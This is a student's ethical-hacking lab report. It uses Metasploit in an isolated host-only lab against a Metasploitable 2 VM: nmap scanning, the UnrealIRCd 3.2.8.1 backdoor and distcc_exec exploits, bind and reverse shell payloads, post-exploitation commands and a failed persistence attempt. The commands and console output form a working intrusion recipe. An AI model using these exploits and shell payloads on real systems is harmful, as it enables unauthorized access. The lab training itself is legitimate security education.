

Ethical Hacking Assignment 4 - Aidan Sharpe

Network Configuration

To establish a connection between the two boxes, proper network configuration is required. The virtual machines (attacker and victim) were set to 'Host-Only Adapter' as seen below.

 Metasploitable Powered Off	General Name: Kali Linux Operating System: Ubuntu (64-bit)
 Kali Linux Running	System Base Memory: 4096 MB Processors: 4 Boot Order: Floppy, Optical, Hard Disk Acceleration: Nested Paging, KVM Paravirtualization
 Windows XP Saved	Display Video Memory: 16 MB Graphics Controller: VMSVGA Remote Desktop Server: Disabled Recording: Disabled
 Metasploitable 2 Running	Storage Controller: IDE IDE Secondary Device 0: [Optical Drive] Empty Controller: SATA SATA Port 0: Kali Linux.vdi (Normal, 32.00 GB)
 Metasploitable 3 Powered Off	Audio Host Driver: Default
 Windows XP 2 Powered Off	Network Adapter 1: Intel PRO/1000 MT Desktop (Host-only Adapter, 'vboxnet0')
	USB USB Controller: OHCI, EHCI Device Filters: 0 (0 active)
	Shared folders None
	Description None

Attacker Network Configuration

x64 Metasploitable 2.4 Powered Off x64 Kali Linux Running x64 Windows XP Saved x64 Metasploitable 2 Running x64 Metasploitable 3 Powered Off x64 Windows XP 2 Powered Off	General Name: Metasploitable 2 Operating System: Other/Unknown (64-bit) System Base Memory: 2048 MB Boot Order: Floppy, Optical, Hard Disk Acceleration: Nested Paging, PAE/NX Display Video Memory: 9 MB Graphics Controller: VBoxVGA Remote Desktop Server: Disabled Recording: Disabled Storage Controller: IDE IDE Primary Device 0: Metasploitable.vmdk (Normal, 8.00 GB) IDE Secondary Device 0: [Optical Drive] Empty Audio Host Driver: Default Network Adapter 1: PCnet-FAST III (Host-only Adapter, 'vboxnet0') USB USB Controller: OHCI, EHCI Device Filters: 0 (0 active) Shared folders None Description None
---	--

Victim Network Configuration

To confirm a proper setup, the attacker pinged the victim and viewed its open ports using the `ping` and `nmap` commands on the victim's IP address (192.168.56.104).

```

(kali㉿kali)-[~]
$ ping 192.168.56.104
PING 192.168.56.104 (192.168.56.104) 56(84) bytes of data.
64 bytes from 192.168.56.104: icmp_seq=1 ttl=64 time=0.384 ms
64 bytes from 192.168.56.104: icmp_seq=2 ttl=64 time=0.299 ms
64 bytes from 192.168.56.104: icmp_seq=3 ttl=64 time=0.356 ms

64 bytes from 192.168.56.104: icmp_seq=4 ttl=64 time=0.284 ms
^C
— 192.168.56.104 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3210ms
rtt min/avg/max/mdev = 0.284/0.330/0.384/0.040 ms

(kali㉿kali)-[~]
$ nmap 192.168.56.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 22:23 EST
Nmap scan report for 192.168.56.104
Host is up (0.00056s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:4C:AB:4A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds

```

Exploiting UnrealIRCd 3.2.8.1 Backdoor

Now that a proper connection has been confirmed, we can begin exploiting the victim machine. First we started `msfconsole` as root. The exploit is chosen using `use exploit/unix/irc/unreal_ircd_3281_backdoor`. Then the remote

and local host variables (RHOST and LHOST) are set to the victim and attacker IP addresses respectively. Next, a payload is chosen. In our case, we used the `cmd/unix/reverse` payload to establish a remote shell. After setting the local port (LPORT) to 4444, we began the exploit.

```
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 192.168.56.101
lhost => 192.168.56.101
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 4444
lport => 4444
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.56.104
rhost => 192.168.56.104
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.56.101:4444
[*] 192.168.56.104:6667 - Connected to 192.168.56.104:6667 ...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.104:6667 - Sending backdoor command ...
[*] Exploit completed, but no session was created.
```

Unfortunately, while the exploit completed, no remote shell could be started. Looking into the options, no issues were found. Multiple payloads were tried, each yielding the same error message: “Exploit completed, but no session was created.” That is until we deployed the payload, `cmd/unix/bind_perl`. Finally, we established a remote shell connection!

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 1
payload => cmd/unix/bind_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 192.168.56.104:6667 - Connected to 192.168.56.104:6667 ...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.104:6667 - Sending backdoor command ...
[*] Started bind TCP handler against 192.168.56.104:4444
[*] Command shell session 1 opened (192.168.56.101:36565 → 192.168.56.104:4444) at 2024-11-05 22:42:52 -0500

ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
```

Exploiting the DistCC Daemon

The next exploit tested was the DistCC Daemon. Switching exploits in `msfconsole` is as easy as telling it to use the name of the new exploit. In our case, with the DistCC Daemon, we used `use exploit/unix/misc/distcc_exec`. The LHOST, RHOST, and LPORT were set to be the same as before. Finally, a payload was selected. The default was `cmd/unix/reverse`, so we tested that first. Unfortunately, we ran into the same error as before “Exploit completed,

but no session was created.” Again, using `cmd/unix/bind_perl` as the payload instead of `cmd/unix/reverse` fixed the issue, and we successfully opened a remote shell.

```
msf6 exploit(unix/misc/distcc_exec) > show payloads
Compatible Payloads
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/adduser                  .               normal No    Add user with useradd
1  payload/cmd/unix/bind_perl                .               normal No    Unix Command Shell, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6           .               normal No    Unix Command Shell, Bind TCP (via perl) IPv6
3  payload/cmd/unix/bind_ruby                .               normal No    Unix Command Shell, Bind TCP (via Ruby)
4  payload/cmd/unix/bind_ruby_ipv6           .               normal No    Unix Command Shell, Bind TCP (via Ruby) IPv6
5  payload/cmd/unix/generic                  .               normal No    Unix Command, Generic Command Execution
6  payload/cmd/unix/reverse                   .               normal No    Unix Command Shell, Double Reverse TCP (telnet)
7  payload/cmd/unix/reverse_bash              .               normal No    Unix Command Shell, Reverse TCP (/dev/tcp)
8  payload/cmd/unix/reverse_bash_telnet_ssl   .               normal No    Unix Command Shell, Reverse TCP SSL (telnet)
9  payload/cmd/unix/reverse_openssl           .               normal No    Unix Command Shell, Double Reverse TCP SSL (openssl)
10 payload/cmd/unix/reverse_perl              .               normal No    Unix Command Shell, Reverse TCP (via Perl)
11 payload/cmd/unix/reverse_perl_ssl          .               normal No    Unix Command Shell, Reverse TCP SSL (via perl)
12 payload/cmd/unix/reverse_ruby              .               normal No    Unix Command Shell, Reverse TCP (via Ruby)
13 payload/cmd/unix/reverse_ruby_ssl          .               normal No    Unix Command Shell, Reverse TCP SSL (via Ruby)
14 payload/cmd/unix/reverse_ssl_double_telnet .               normal No    Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/misc/distcc_exec) > set payload 1
payload => cmd/unix/bind_perl
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 192.168.56.104:4444
[*] Command shell session 2 opened (192.168.56.101:42023 -> 192.168.56.104:4444) at 2024-11-05 22:50:21 -0500

pwd
/tmp
ls
4534.jsvc_up
cd
ls /home
ftp
msfadmin
service
user
```

Post Exploitation Activities

Now that a remote shell connection is established, we must gather information about and maintain our connection to the victim. We opted to learn about user and active process information.

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 3668 ?        00:00:00 portmap
 4285 ?        00:00:00 distccd
 4286 ?        00:00:00 distccd
 4492 ?        00:00:00 atd
 4596 ?        00:00:00 distccd
 4611 ?        00:00:00 distccd
 5346 ?        00:00:00 perl
 5357 ?        00:00:00 ps
```

While commands like `ps` and `uname -a` work in the remote shell, Meterpreter specific commands like `hashdump` and `migrate` did not work.

Persistence

Persistence is used to easily reconnect to the victim, even after reboots. Running the command `run persistence -U -i 60 -p 4444 -r 192.166.56.101` theoretically enables this behavior. Unfortunately, the shell provided no feedback upon execution, and upon restarting Metasploitable, there were no sessions to attach to.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
=====

No active sessions.
```

Reflection

Hacking is finicky, I mean *super* finicky. Success with identical setups can vary, and slightly different environments can have drastically different results. Even following the setup to the tee can create non-functional results.

Fortunately, however, there are always a handful of potential solutions if one method does not work. For example, attempting to use the `cmd/unix/reverse` was unsuccessful, but that was just one of many potential payloads. Eventually, with enough trial and error, success may be found.

Even though a successful attack was launched, the shell environment was different than expected. For example, the instructions put the attacker in a Meterpreter environment, but the successful attack put the user in a `cmd/unix` shell environment instead. While Meterpreter provides some really useful tools, the `cmd/unix` shell is much more bare bones.